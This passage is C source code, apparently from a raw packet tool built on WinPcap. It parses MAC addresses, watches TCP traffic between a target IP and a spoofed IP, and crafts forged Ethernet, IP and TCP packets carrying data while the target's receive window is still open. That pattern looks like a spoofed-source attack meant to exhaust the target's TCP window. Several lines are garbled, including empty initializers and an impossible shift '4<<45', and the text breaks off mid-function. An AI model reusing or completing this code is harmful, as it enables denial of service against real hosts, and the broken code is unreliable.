{
char *str1;
int i;
int low,high;
char temp;
for(i=0;i<6;i++)
{
str1=str+1;
switch(*str)
{
case 'a':high=10;
break;
case 'b':high=11;
break;
case 'c':high=12;
break;
case 'd':high=13;
break;
case 'e':high=14;
break;
case 'f':high=15;
break;
default:temp=*str;
high=atoi(&temp);
}
switch(*str1)
{
case 'a':low=10;
break;
case 'b':low=11;
break;
case 'c':low=12;
break;
case 'd':low=13;
break;
case 'e':low=14;
break;
case 'f':low=15;
break;
default:temp=*str1;
low=atoi(&temp);
}
mac[i]=high*16+low;
str+=2;
}
}
void AssayAndSendData(LPPACKET lpPacket)
{
char *buf;
bpf_hdr *lpBpfhdr;
ET_HEADER *lpEthdr;
in_addr addr=;
buf=(char *)lpPacket->Buffer;
lpBpfhdr=(bpf_hdr *)buf;
lpEthdr=(ET_HEADER *)(buf+lpBpfhdr->bh_hdrlen);
if(lpEthdr->eh_type==htons(0x0800)) //判断是否为IP包
{
IP_HEADER *lpIphdr=(IP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER));
if( ( inet_addr(SIMULATE_IP)==lpIphdr->m_dIP ) && ( inet_addr(TARGET_IP)==lpIphdr->m_sIP ) && (lpIphdr->m_protocol==IPPROTO_TCP) ) //判断所收到的数据包的传输层协议、源及目的IP
{
TCP_HEADER *lpTcphdr=(TCP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER)+sizeof(IP_HEADER));
if( ( (lpTcphdr->m_res2_flag & 0x10)!=0 ) && ( lpTcphdr->m_win!=0 ) ) //判断是否为带ACK标记的包并判断目标主机接收窗口是否已为0
{
char s_mac[6]=,d_mac[6]=;
char sendSynBuf[128]=;
char *data="ffantasyYD";
ET_HEADER et_header=;
IP_HEADER ip_header=;
TCP_HEADER tcp_header=;
PSD_HEADER psd_header=;
StrToMac(LOCAL_MAC,s_mac); //local_mac
memcpy(et_header.eh_src,s_mac,6);
StrToMac(TARGET_MAC,d_mac); //dest_mac
memcpy(et_header.eh_dst,d_mac,6);
et_header.eh_type=htons(0x0800); //类型为0x0800表示这是IP包
ip_header.m_ver_hlen=(4<<45);
ip_header.m_tos=0;
ip_header.m_tlen=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)+strlen(data));
ip_header.m_ident=htons(ipID++);
ip_header.m_flag_frag=htons(16384); //设置为不分片
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